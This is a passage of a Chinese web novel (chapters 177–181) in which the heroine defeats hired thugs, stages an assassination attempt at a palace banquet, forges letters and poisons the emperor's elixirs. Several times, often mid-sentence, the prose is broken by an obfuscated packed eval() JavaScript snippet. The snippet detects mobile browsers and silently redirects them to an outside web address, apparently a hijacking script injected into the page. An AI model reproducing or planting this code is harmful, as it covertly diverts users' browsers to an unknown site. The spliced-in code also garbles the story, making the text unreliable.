用好了,可成破局关键,用不好便是引火烧身,反噬己身。 翌日,晨光熹微。 姜清宁已收拾妥帖,换上一身便于行动的素色窄袖骑装,墨发简单束起,只簪了一支素银簪子。 她带着知秋和紫苏,准备出府去城郊的几处田庄和铺面收账。 宁阁的马车刚驶离府门不远,转入一条相对僻静的街巷。 突然,前方巷口被七八个身着满脸横肉,手持棍棒的家丁堵住。 他们神色凶恶,眼神不善地死死盯着驶来的马车,如同盯着猎物的鬣狗。 “吁!”车夫连忙勒住缰绳。 马车刚停稳,一辆装饰华丽的马车便从斜刺里冲出,堪堪停在姜清宁的马车旁。 车帘猛地掀开,安平伯老夫人那张因愤怒而扭曲的脸露了出来。 她在家仆的搀扶下颤巍巍地下了车,头上的珠翠因她急促的动作而叮当作响。 “姜清宁你这个扫把星!祸害!” 安平伯刘夫人指着姜清宁的马车,声音尖利刺耳,带着刻骨的怨毒。 “每次你一出现,我们安平伯府就要鸡犬不宁,如今我儿荀臣昨夜又浑身是血,人事不省地被人丢在伯府门外,大夫说肩胛骨碎裂失血过多,险些就救不回来了!” 她越说越激动,老泪纵横,声音却愈发凄厉: “不是你这个毒妇动的手,就是因为你招惹了祸事,害他在来找你的路上遭遇了埋伏,无论如何,都跟你脱不了干系!” “你这个克夫克子的丧门,今日老身定要替天行道替荀家清理门户,来人!给我把这个**抓起来,拖回去按族规沉塘浸猪笼!” “放肆!” 紫苏和知秋气得浑身发抖,立刻跳下马车挡在姜清宁车前。 紫苏怒斥道:“老夫人您休要血口喷人,荀大人受伤与我们小姐何干,分明是他自己……” “住口,小贱婢,这里哪有你说话的份!” 安平伯刘夫人厉声打断,根本不听辩解,对着那群凶神恶煞的家丁吼道,“还愣着干什么,给我上,抓住那个祸害,连这两个不懂规矩的贱婢一起拿下,撕烂她们的嘴!” 八个膀大腰圆的家丁闻言,立刻挥舞着棍棒,如狼似虎地扑了上来。 他们得了主子的死命令,下手毫不留情,棍棒带风,直取紫苏和知秋。 “小姐小心!”两个丫鬟吓得花容失色,却依旧死死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140707|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挡在车前。 就在棍棒即将及身的瞬间。 一直静立车旁,冷眼旁观的姜清宁动了。 她身影如同鬼魅般一闪,双手快如闪电,瞬间扣住紫苏和知秋的后衣领,将她们轻轻一带,稳稳地护在自己身后,动作行云流水。 紧接着,面对迎面砸来的数根棍棒。 她脚下步伐玄奥,身形如穿花蝴蝶般灵动,看似惊险万分地避开所有攻击,实则一切尽在掌握。 在避开第一波攻击的刹那,她右手精准地劈手夺过冲在最前面那个家丁手中的木棍。 姜清宁眼神冰寒,手腕一抖,那根寻常的木棍在她手中仿佛化作了一柄长剑。 “咔嚓!” “啊!” “噗通!” 骨骼碎裂声、凄厉惨叫声、身体重重倒地的闷响声,瞬间在僻静的巷子里响彻。 不过呼吸之间,八个气势汹汹手持棍棒的家丁,如同被狂风扫过的麦秆,横七竖八地躺倒一地。 有的抱着扭曲变形的手臂哀嚎,有的捂着碎裂的膝盖打滚,有的直接被点了穴道僵在原地动弹不得,脸上满是痛苦和惊骇。 整个巷子,死一般的寂静,只剩下家丁们痛苦的呻吟和哀嚎。 安平伯老夫人脸上的怨毒和得意彻底僵住,化作震惊和难以置信。 她张大了嘴,眼珠子瞪得几乎要凸出来,死死地盯着那个手持木棍,立于场中,月白骑装上连一丝褶皱都未曾多出的清冷女子。 她会武? 她竟然有这么好的武功? 她嫁入安平伯府八年,在清漪院里忍气吞声、逆来顺受,她竟然一直深藏不露? 自己竟从未察觉?! 巨大的冲击和一种被彻底愚弄的愤怒,如同冰冷的毒蛇缠绕住安平伯刘夫人的心脏。 她只觉得一股腥甜涌上喉头,眼前阵阵发黑,指着姜清宁的手指剧烈颤抖着,嘴唇哆嗦着,却一个字也说不出来,脸上青一阵白一阵,如同开了染坊。 姜清宁随手将沾了点血迹的木棍丢在地上,发出哐当一声轻响。 第177章计划进行 她看都没看地上哀嚎的家丁,和气得几乎要晕厥过去的安平伯老夫人。 “老夫人。” 姜清宁声音清冷,如同山涧寒泉,清晰地传入安平伯老夫人耳中,以及周围闻声赶来的零星路人耳中。 “管好你自己,也管好安平伯府的人,再有下次……” 她微微停顿,目光冷冷地扫过安平伯老夫人那张惨无人色的老脸,剩下的话语无需出口,眼神中的警告与肃杀,已足以让安平伯老夫人如坠冰窟。 “我们走。” 姜清宁不再停留,带着满眼崇拜的紫苏和知秋,从容地登上马车。 车夫一抖缰绳,马车在众人的目光注视下,缓缓驶离这片狼藉的战场,只留下满地哀嚎和呆若木鸡的安平伯老夫人。 福满斋二楼临窗的雅间,门扇一合,隔绝了楼下探究好奇的视线。 空气里弥漫着酱肘子和八宝鸭的浓郁香气,但桌旁三人的心思,显然不在这一桌刚上的佳肴上。 贺宁提起筷子,夹了块清爽的藕片放入姜清宁面前的碟中,动作自然体贴:“清宁,尝尝这个,爽口。” 他的目光温和,带着毫无保留的信赖,“三日后宫宴,陛下点了名,要我带着你和清晞一同赴宴,这是入秋以来第一场大宴,宗室勋贵、四品以上官员及家眷都要到场,阵仗不小。” 秦休没动筷,只端起茶盏抿了一口,视线落在姜清宁沉静的侧脸上,带着一丝不易察觉的紧绷。 姜清宁的目光在雪白的藕片上停留一瞬,很新鲜,切得薄厚均匀,旁边还点缀着一粒鲜红的枸杞。 她脑中不合时宜地闪过姜清晞捧着同样一碟藕片,小口小口吃得眉眼弯弯的样子。 贺宁……总能把妹妹喜欢的零嘴记得很清楚。 一丝极淡的冷意在她眸底深处掠过,快得让正放下心来的贺宁毫无所觉。 她伸出**箸,夹起藕片,姿态优雅地送入口中,细嚼慢咽。 清甜爽脆的口感在舌尖化开,她面上却无半分波澜,只抬眼看向贺宁,语气平稳无波:“宫宴是个不错的机会。” 秦休搁下茶盏,瓷底与桌面轻轻一磕,发出清脆短促的声响,打破了短暂的用餐宁静。 他眉头拧起,声音压得更低:“慕容沣既已疑心,宫宴人多眼杂,更是龙潭虎穴,你当真有把握?” 他顿了顿,补充道,“陛下对你,未必没有暗中留意。” “无妨。” 姜清宁放下筷子,拿起素白的帕子按了按唇角,动作从容不迫。 “他试探我接招便是,宫宴正好让他看场戏,也省得他整日里猜疑不定。” 她语气平淡,仿佛在谈论天气,“我会安排妥当,宫宴之上,会有舞姬献艺,近身行刺。” 她目光扫过贺宁和秦休骤然凝重的脸,继续道,“同时琼华殿东南角的斗拱后,会埋伏一名弓箭手,不求一击必杀,只要让陆禀狼狈不堪,惊魂难定,让他先尝尝恐慌的滋味。” 雅间内一时落针可闻。 窗外街市的喧嚣仿佛隔了一层厚重的帷幕,变得遥远模糊。 贺宁脸上的温和瞬间褪去,只剩下凝重。 秦休身体微微前倾,眼神紧紧盯着姜清宁,不放过她脸上任何一丝细微的表情。 贺宁低声重复,喉结滚动了一下,“风险太大,一旦失手,追查起来……” “所以需要接应。” 姜清宁打断他,目光沉静地看向二人,“舞姬出手,无论成败必死,弓箭手一击之后,无论是否得手,必须立刻撤离。” “我需要你们的人,在宫宴混乱初起时,于西华门外的宫墙夹道接应那个弓箭手,务必确保他能无声无息地消失。” 秦休点头,言简意赅:“夹道交给我,西华门戍卫有我的人,可制造半刻钟的空隙。” 贺宁深吸一口气,压下翻腾的心绪,也郑重应下:“好,混乱一起,我会设法吸引部分侍卫注意,为秦休那边争取时间。” 他眼中忧色难掩,“你置身其中,更要万分小心。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140708|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我自有分寸。” 姜清宁拿起筷子,夹了一块八宝鸭,神态自若,“吃饭吧,菜要凉了。” 三日后,宫宴。 暮色四合,巍峨的宫墙在夕阳余烬中投下阴影,如蛰伏的巨兽,一辆辆装饰华美的马车碾过平整的宫道,驶入森严的宫门。 车帘掀动间,珠翠生辉,环佩叮当,暗香浮动。 车帘掀开,先紫苏利落地放下脚凳,紧接着,一只缀着圆润东珠的绣鞋稳稳踏出,随后姜清宁的身影出现在众人视线中。 她今日的打扮极尽庄重,一身紫色宫装在暮色中流转着深沉内敛的华光,裙裾上用极细的金银丝线绣着繁复的缠枝西番莲纹,行走间流光溢彩,贵气逼人。 墨发绾成高髻,正中簪着一支赤金点翠嵌红宝石步摇,两侧对称插着几支赤金镶翡翠的华盛,耳垂上一对红宝耳坠,衬得她肌肤胜雪,容色惊人,令人不敢逼视。 紧随其后下车的姜清晞,则完全是另一种光景。 十五岁的少女,正是含苞待放的年纪,一身娇嫩的鹅黄色缕金云缎长裙,发上簪着几朵小巧的粉色绢花并几支珍珠小簪,灵动活泼。 姐妹俩一出现,宫门口等候入内的众多女眷目光,便不由自主地被吸引过来。 “姐姐…”姜清晞被看得有些不自在,轻轻扯了扯姜清宁的袖子。 姜清宁神色微动,只抬手轻轻拍了拍妹妹的手背,动作带着安抚的意味。 她目光平静地扫过那些视线,无喜无怒,仿佛周遭的一切喧嚣都与她无关。 “清宁,清晞。”温润的声音自身后传来。 贺宁与秦休并肩走来。 贺宁一身宝蓝色麒麟纹锦袍,玉冠束发,温文尔雅。 秦休则是一身玄色暗云纹劲装,外罩同色披风,身姿挺拔如松,面容冷峻,两人风格迥异,却同样引人注目。 贺宁的目光落在姜清宁身上时,眼中毫不掩饰地掠过惊艳之色,随即又看向娇俏的姜清晞,笑容温柔:“等久了吧,我们进去。” 第178章乱作一团 姜清宁将贺宁那细微的眼神尽收眼底,面上依旧波澜不惊,只微微颔首:“有劳。” 秦休则只是对姜清宁略一点头,眼神交汇间,一切尽在不言中。 四人汇合,由宫人引着,穿过一道道朱红宫门,步入灯火通明、乐声悠扬的琼华殿。 琼华殿内早已是冠盖云集。数百盏宫灯将大殿映照得亮如白昼。 丝竹管弦之声悠扬悦耳,身着统一宫装的宫女太监们穿梭如织。 御座高高在上,尚空着。 阶下左右两侧按品级高低设满了席位,宗室亲王、勋贵重臣及其家眷均已入座,表面一派升平景象,实则暗流涌动。 姜清宁一行人的到来,再次引来不少侧目。 姜清宁泰然自若地在席位上坐下,贺宁与秦休的位置在对面稍靠后些的臣子席列中。 姜清宁的目光状似无意地扫过整个大殿,极其隐晦地落在大殿东南角的殿顶飞檐阴影处。 收回目光,她端起面前宫女斟好的香茗,浅浅啜了一口,长长的睫羽在眼下投下一小片阴影,遮住眸中翻涌的暗潮。 时间悄然流逝。 殿外传来内侍尖细悠长的通禀:“陛下驾到!贵妃娘娘驾到!” 殿内数百人齐齐起身,垂首躬身,动作整齐划一,鸦雀无声。 脚步声由远及近。陆禀缓步踏入琼华殿,秦贵妃一身正红宫装,满头珠翠,艳光四射。 “诸位爱卿平身,宴会继续。”陆禀抬手示意,与秦贵妃一同落座。 舞姬应声出场,随着乐声翩翩起舞,几首舞曲之后,为首身着桃红色舞衣的舞姬,足尖猛地一点地面,整个人如同离弦之箭,直扑高阶之上的陆禀。 她宽大的水袖翻飞,一道森冷的寒光自袖中暴射而出,直刺陆禀心口,带着玉石俱焚的决绝。 “护驾!!!” 几乎是同时,殿内负责护卫的禁军统领目眦欲裂,急切地高声呼喊。 殿内的热闹被打破,惊呼声、杯盘落地碎裂声、女眷的尖叫声瞬间炸开。 陆禀脸上的笑容僵住,瞬间被巨大的惊恐取代,他到底是帝王,身体下意识地向后猛仰,脚步踉跄着想要后退闪避。 那抹寒光几乎是贴着他的龙袍前襟掠过,“嗤啦”一声,划开了明黄的锦缎。 “陛下!”秦贵妃花容失色,想要扑上去却被宫人撞开。 “嗖!” 破空声响起。 一道乌黑的箭影,精准无比地射向陆禀因后仰而暴露出的脖颈。 陆禀瞳孔骤缩,巨大的死亡阴影瞬间将他笼罩,他甚至能看清那箭上淬着的冷光,脑中一片空白,身体僵硬得如同木偶,连最本能的闪避都忘了。 “陛下!” 千钧一发之际,一道魁梧的身影从陆禀侧后方扑出,御前侍卫统领用自己的身体,义无反顾地撞向那支**。 “噗嗤!” 一声利刃入肉闷响,温热的血,溅了陆禀满脸满身。 鲜血如同喷泉般从侍卫统领胸前和口中涌出,瞬间染红明黄的织金地毯,他双目圆瞪,死死盯着那箭射来的方向,身体轰然倒地,抽搐两下便再无声息。 时间仿佛在这一刻凝固。 所有人都被这接踵而至的刺杀惊呆,浓烈的血腥味瞬间弥漫开来,令人作呕。 陆禀呆立在原地,脸上身上溅满了滚烫粘稠的鲜血,明黄的龙袍被撕开一道口子,狼狈不堪。 他浑身不可抑制的颤抖着,眼神涣散,充满劫后余生的巨大惊恐和茫然。 刚才一瞬间,他离死亡只有一线之隔。 “有刺客!殿外放箭!抓刺客!” 禁军统领终于从震惊中反应过来,声音嘶哑,带着破音,“封锁大殿!任何人不得擅动!保护陛下!快!” 殿内瞬间乱成一锅滚沸的粥。 场面混乱不堪。 姜清宁端微微侧头,目光平静地穿过混乱奔逃的人群,落在被重重保护圈围住,狼狈不堪的陆禀身上。 他脸上的惊恐是如此清晰,那帝王威仪荡然无存,只剩下一个被死亡阴影笼罩,惊慌失措的凡人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144729|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姜清宁的唇角极其轻微地向上勾了一下,带着兴味。 恐慌的种子已经种下,下一步计划可以更进一步了。 混乱持续小半个时辰。 琼华殿内外被翻了个底朝天,除了那个被当场格杀的舞姬和那支**,以及东南角飞檐上找到的痕迹外,再无其他刺客踪影。 那放冷箭的弓箭手,如同人间蒸发。 陆禀被惊魂未定的内侍和太医簇拥着,暂时移驾到琼华殿后方的暖阁中压惊、更衣、诊治。 殿内一片狼藉,血迹被迅速冲刷掩盖,空气中残留的腥气久久不散。 宫宴自然无法再进行下去,但陛下未发话,谁也不敢擅自离宫,众人只得惊魂未定地留在原地,或在宫人引导下前往偏殿暂歇。 姜清宁借口更衣,由一名小太监引着,离开琼华殿主殿区域。 宫道两旁悬挂的宫灯在夜风中摇曳,投下明明灭灭的光影,喧嚣褪尽,只剩下远处隐隐传来的侍卫们搜捕巡查的呼喝声。 穿过一道月亮门,步入一条相对僻静的回廊,引路的小太监在前方低着头疾走。 就在拐过一个弯,将主殿的灯火和喧嚣彻底抛在身后的刹那,一股带着压迫感的气息,悄无声息地缠了上来。 姜清宁脚步微顿。 前方引路的小太监毫无所觉,继续往前走。 一个高大的身影,如同从廊柱的阴影里直接凝结出来,突兀地挡在了姜清宁面前。 玄色常服衬得来人肩宽腿长,面容在廊下昏暗的光线里半明半暗,唯有一双眼睛锐利如鹰隼,带着洞悉一切的玩味牢牢锁定姜清宁。 正是废太子,陆乘。 紫苏心头一紧,下意识挡在姜清宁身前,被姜清宁止住。 陆乘的目光在姜清宁那身华贵依旧、不见半分凌乱的紫色宫装上缓缓扫过,最终落回她波澜不惊的脸上。 他薄唇微启,低沉的声音在寂静的回廊中响起: “姜大小姐,真是好手段。” 姜清宁抬眼,迎上他的眸子。 第179章合作再加? 夜风拂过,发髻上的赤金点翠步摇流苏轻轻晃动,折射出细碎的金芒。 姜清宁脸上绽开一个极淡的笑,她缓缓抬起手,姿态慵懒随意地抚摸着发髻间的赤金簪,指尖在金簪冰冷的纹路上轻轻摩挲着。 “不及大皇子。” 她的声音清泠泠的,在这死寂的深夜里格外清晰,是毫不掩饰的讥诮,“坐山观虎斗,稳坐钓鱼台的本事炉火纯青。” “昔日金銮殿直呼父皇姓名,以那样的形式保自己一命,以此达到在外戚死绝后,依旧留住身家性命,甚至在这皇宫之中埋藏人手。” “大皇子的手段,才是顶顶好的,想必定然的奉国公……啊不、是畏罪**的林家真传。” 陆乘脸色一沉,望着姜清宁的眼神闪过一瞬间的杀意,但很快便收了回去。 “秦贵妃宠冠六宫多年,妄图一个没宫斗过的女人,是绝对拔不出孤埋藏的钉子。” “姜清宁,做个交易如何?你想让你父兄从岭南回来,孤想要这皇位,不若我们合作,你身后有秦休和贺宁,只要我们练手,绝对能够谋得大位。” “臣女觉得不好,事成之后,大皇子再和当今陛下同样的做法,那臣女当真是成了害了所有人的罪魁祸首了。” 姜清宁眼神凌厉,指尖在金簪尖锐的尾端微微停顿,动作充满无声的警告。 陆乘眼神骤然一深,眸底暗流汹涌,唇角的玩味笑意却更深了些。 “孤可以做出承诺……” “啊!!!” 一声惊恐脆弱的哭腔响起,猝不及防地打断了陆乘的话。 姜清宁心口一颤,豁然转头。 陆乘微微蹙眉,循声望去。 回廊死寂,远处偏殿的灯火在夜风中明明灭灭。 姜清宁不再看陆乘一眼,猛地提起裙裾,转身朝着尖叫传来的方向而去。 “是二小姐!”紫苏惊呼,当即紧跟而上。 陆乘站在原地轻笑,几乎与廊下的阴影融为一体。 “无妨,一次不成,还有第二次……” 他望着姜清宁瞬间远去的背影,眼中的玩味淡去,取而代之的是难以捉摸的幽暗。 偏殿距离这条回廊不算太远,只隔着一个栽满枯树的小庭院。 此刻,庭院另一头的偏殿门口已然乱作一团。 “发生了何事?为何我听到了我妹妹的叫喊声?” 姜清宁冲到这里,连忙询问一旁的宫人。 几个守在外面的低阶宫女太监吓得瘫软在地,面无人色,指着殿内语无伦次:“黑衣人……掳走了……姜二小姐……” 姜清宁快步上前,殿门大敞着,里面烛火通明,却空无一人。 地上散落着打翻的茶具和几盘点心,一片狼藉。 在所有人的注视下,姜清宁扶着门框,身形一晃直接晕了过去。 皇城刺杀的消息如同长了翅膀,一夜之间席卷整个京城。 街头巷尾,茶楼酒肆,人人交头接耳,面上交织着后怕。 “听说了吗,琼华殿血溅御座,陛下差点就……”卖炊饼的老汉压低了嗓子,眼睛瞪得溜圆,比划着抹脖子的动作。 “可不是,听说那舞姬的**离陛下心口就一寸,御前统领那么大的个子,噗嗤一声就给**射穿了,血喷得老高!”旁边的闲汉唾沫横飞,仿佛亲眼所见。 “吓死个人哟,这太平盛世的,宫里怎就进了刺客?禁军都是吃干饭的吗?”挎着菜篮的妇人拍着心口,一脸惊魂未定。 “嘿,安平伯府那位少夫人,姜家大小姐知道吧?”话题很快转向了新的焦点。 “知道知道,听说宫宴上她妹妹,姜家那位二小姐就在偏殿被歹人掳走了,活不见人死不见尸!” “造孽啊,姜大小姐当场就急火攻心晕死过去,抬回宁阁都三天了,水米未进就吊着一口气,贺世子衣不解带地守着,人都瘦脱了形!” “啧啧,这姜大小姐也是命苦,刚跳出安平伯府那个火坑,眼看就要嫁给贺世子当世子妃享清福了,转头妹妹又丢了,自己还病成这样……这心脉受损,可是要命的大症候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144730|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕不是红颜薄命……” “谁说不是呢?真是世事无常,老天爷不开眼啊……” 无数的流言在京城的大街小巷里肆意流淌。 与此同时,皇宫的气氛比民间更加压抑十倍。 琼华殿的血迹早已被无数遍冲刷,龙涎香浓得几乎化不开。 皇帝寝宫,重重明黄的帐幔低垂,隔绝了外界的光线。 陆禀穿着松垮的寝衣,半倚在巨大的龙床上,眼窝深陷,眼下是浓重的青黑。 他手里紧紧攥着一个精巧的紫檀木小盒,盒盖开着,里面是三颗龙眼大小,散发着甜香的赤红色丹药。 “陛下,该服丹了。” 一个身着灰色八卦道袍,留着三缕长须、仙风道骨的老道士手持拂尘,恭敬地立在龙床边,带着令人心安定的力量。 陆禀浑浊的眼珠动了动,布满血丝的眼睛里充满渴望。 他毫不犹豫地将三颗丹药一股脑倒入口中,直接干咽下去。 丹药入腹,未过片刻,一股暖流迅速扩散,仿佛驱散些许恐惧。 他满足地喟叹一声,身体松弛下来,但眼神深处的惊惶却像烙印挥之不去。 “青阳仙师,你说朕真的能得长生吗?”陆禀的声音嘶哑干涩,带着浓重的依赖。 “陛下乃真龙天子受命于天,只要心诚,勤修大道,辅以金丹妙药脱胎换骨,霞举飞升指日可待。” 青阳子垂眸,语气笃定,一派世外高人的模样。 “好………好……” 陆禀喃喃着,像是抓住了救命稻草,“仙师,修炼无为心法需静心凝神不理俗务,朕近日心绪不宁,朝政……” “陛下圣明。” 青阳子微微躬身,“大道自然贵在清静,俗务缠身徒耗真元有碍修行,雍王殿下仁厚稳重,可代陛下分忧,陛下只需在关键处掌舵即可,待陛下神功大成龙精虎猛再亲理朝政,方是社稷之福。” 陆禀昏沉浑浊的眼中闪过一丝挣扎,旋即被对长生的狂热渴望,和死亡的巨大恐惧压倒。 第180章深夜谈判 他疲惫地挥了挥手:“传朕口谕,即日起一应奏章先送雍王处,由雍王陆雍与内阁共议,紧要大事再报朕知。” 侍立一旁的王德顺心头巨震,面上却不敢显露分毫,深深躬身:“老奴遵旨。”他知道,这帝国权柄的天平,在血与丹药的催化下,已开始无声地倾斜。 宁阁。 庭院深深,门窗紧闭,弥漫着一股浓重苦涩的药味,隔绝了外面所有的喧嚣。 院中下人屏息凝神,走路都踮着脚尖,生怕惊扰了“昏迷不醒”的主子。 内室,重重锦绣帷幔低垂,光线昏暗。 宽大的拔步床上,姜清宁安静地躺着。 她脸色苍白如雪,毫无血色,唇瓣干裂,长长的睫羽在眼下投下浓重的阴影,呼吸微弱得几乎难以察觉,俨然一副心脉受损,命悬一线的病弱模样。 “小姐,荀臣那边有动静了。” 紫苏的声音压得极低,将一张卷得极细的纸条塞入姜清宁藏在锦被下的手中。 “他书房暗格里的京城布防图,昨夜被拓印了一份,信鸽刚飞出安平伯府后角门,就被我们的人射下来了。” 姜清宁的眼睫几不可察地颤动了一下,缓缓睁开眼,展开纸条。 上面是荀臣熟悉的字迹:“布防图已得手,子时换防间隙角门可入,京城守卫空虚机不可失,速发兵合围京城,宫门自有内应开启。” 姜清宁心中冷笑,这蠢货被卫斋几句空头许诺和,所谓的从龙之功就迷了心窍,竟真敢偷盗京城命脉的布防图。 他以为卫斋登基后,会放过他这个知晓太多秘密的功臣?只怕是兔死狗烹的第一道菜。 “取笔墨。”她的声音带着久未开口的微哑。 知秋立刻从床榻暗格中,取出特制的笔墨和一张与荀臣所用一模一样的信笺。 姜清宁坐起身,锦被滑落,露出单薄的中衣。 她接过笔凝神片刻,笔尖落下,模仿着荀臣的字迹,分毫不差。 “卫兄,时不我待,陆禀惊弓之鸟沉迷丹药不理朝政,雍王监国根基未稳,禁军连日搜捕已露疲态,京城人心惶惶,此乃天赐良机何须再等,当速发雷霆之兵合围京城,迟则生变,若卫兄尚存疑虑吾愿以项上人头担保,机不可失失不再来——臣荀臣顿首跪拜。” 她吹干墨迹,将纸条卷好,递给紫苏:“用荀臣的备用信鸽,原路发回给卫斋,京城布防图的拓印副本送到贺宁手上,他知道该怎么做。” “是!”紫苏领命退下。 “小姐。”知秋端上一碗温热的参汤,低声道,“宫里传来消息,秦大人送进去的那位玄诚道长,昨日已成功接近丹炉,将我们准备的丹混入了陆禀日常服用的丹药中。” “那药的药性缓慢,但会逐步侵蚀神智放大恐惧,与青阳子的药相辅相成,一旦剂量累积到临界,再受强烈刺激神仙难救,所有经手的记录,最终都会指向荀臣送去的道人。” 姜清宁接过参汤,温热的液体滑入喉咙,带来一丝暖意,她望着窗外灰蒙蒙的天空,声音冷得像冰渣:“告诉玄诚,陆禀每日服用的丹药再加一颗。” “是。”知秋应下,眼中闪过一丝凛然。 夜色如同浓稠的墨汁,浸染整座院落。 万籁俱寂,更夫梆子声远远传来带着回响。 子时刚过。 床榻上,姜清宁倏然睁开眼。 一道颀长挺拔的身影,悄无声息地出现在拔步床前丈许之地。 玄色常服在昏暗的光线下,几乎与黑暗融为一体,唯有一张轮廓分明的脸,在窗外透进的微弱雪光映照下,半明半暗。 那双鹰隼般锐利的眼睛,精准地锁定床榻上沉睡的女子,带着洞察一切的精芒和一丝冰冷的玩味。 慕容沣来了,比她预想的更快。 “皇妹。”慕容沣低沉的声音响起,打破了室内的死寂,“装病示弱扰乱视听,于病榻之上运筹千里之外,将整个京城乃至皇宫**于股掌之间,真是好手段。” 姜清宁缓缓坐起身,动作带着久病的虚弱,却丝毫不显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148941|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慌乱。 她拉过一件素白的外袍披在肩上,乌黑的长发垂落,衬得脸色愈发苍白。 她抬眸,迎上慕容沣那双在黑暗中灼灼逼人的眼睛,唇角勾起一抹极淡的弧度,声音带着病后的微哑,却字字清晰: “三皇子谬赞,若非三皇子当日坐山观虎斗,清宁这点微末伎俩又如何能成事?说到底不过是各取所需罢了。” 她轻轻咳嗽了两声,指尖不经意地拂过枕边,那处静静躺着一枚小巧玲珑,镶嵌着米粒大小珍珠的耳坠。 正是姜清晞失踪那晚,遗落在偏殿的唯一饰物。 慕容沣的目光在那枚小小的耳坠上极快地掠过,眸底深处暗流微动,快得难以捕捉。 他向前踱了一步,玄袍下摆拂过冰冷的地砖,带来无形的压迫感。 “本王蛰伏多日,并非惧他陆禀的城门锁钥,不过是想看清皇妹这盘棋究竟下到了哪一步。” 他停在床榻五步之外,“如今看来,皇妹不仅搅乱了京城这一池浑水,连江南水泽里的蛇鼠也尽在掌控。” “荀臣那蠢货被皇妹当成了探路的卒子,只待卫斋那前朝余孽按捺不住,一头撞进皇妹早已备好的天罗地网,而陆禀每日服下的恐怕不止是长生丹,更是催命符吧?” “还早,最少还要再经历三次刺杀,才能彻底击破陆禀的心防,让他彻底崩溃。” 他顿了顿,锐利的视线紧紧攫住姜清宁的眼睛:“本王只问一句,皇妹承诺过的何时启幕?” “你要清楚,我比你更想要陆禀**。”姜清宁盯着他的眼睛,一字一句道。 两人一坐一立,气势上姜清宁竟然丝毫不低于对方,甚至隐隐比之更加强势。 内室烛火幽微,慕容沣高大的身影立在床前,投下的阴影几乎将姜清宁完全笼罩,泛着强大的压迫感。 姜清宁倚在床头,素白的外袍衬得她脸色愈发透明,仿佛一碰即碎的琉璃,然而她那双抬起的眸子却亮得惊人。 “急什么?”姜清宁轻嗤一声。 第181章心存怀疑 “三皇子的心急我明白,只是火候未到,陆禀如今是惊弓之鸟,宫禁森严如铁桶,贸然再刺不过是徒增几条人命,打草惊蛇。” 慕容沣眉峰几不可察地一挑,眼神锐利如刀锋:“哦?那依皇妹之见,何时才是火候?” 姜清宁苍白的唇角弯起一个极冷的弧度:“待我父兄的船,驶入通州码头。” 慕容沣眼神一凝,锐利的目光射向姜清宁:“姜柏川,姜清淮?” “陆禀的圣旨拦得住忠臣良将,却拦不住归家的路。” 她抬起眼,“如今时机将至,他们已在归途,走的是最快的水路,不日便将抵达通州。” 她话锋一转,目光重新聚焦在慕容沣脸上,带着一种近乎蛊惑的笃定: “三皇子可知,姜家父子手握重兵,戍守南疆多年,在军中威望极高,陆禀刻薄寡恩,自毁长城,早已令边军将士心寒,而我……” 她微微一笑,“已利用姜清宁这个身份,晓之以情,动之以理,更许以重振姜家门楣,洗雪沉冤之诺,姜家父子已决意为我所用。” “皇妹竟能策反姜家父子?”慕容沣的声音低沉下去,“此非易事,姜柏川此人本王略有耳闻,刚直不阿,忠君之念根深蒂固……” “忠君?”姜清宁嗤笑一声,打断他,眼中是毫不掩饰的讥诮与恨意。 “忠的可是那个夺他兵权、构陷他通敌、将他全家流放岭南、害他爱女身陷囹圄生死不明的昏君?” 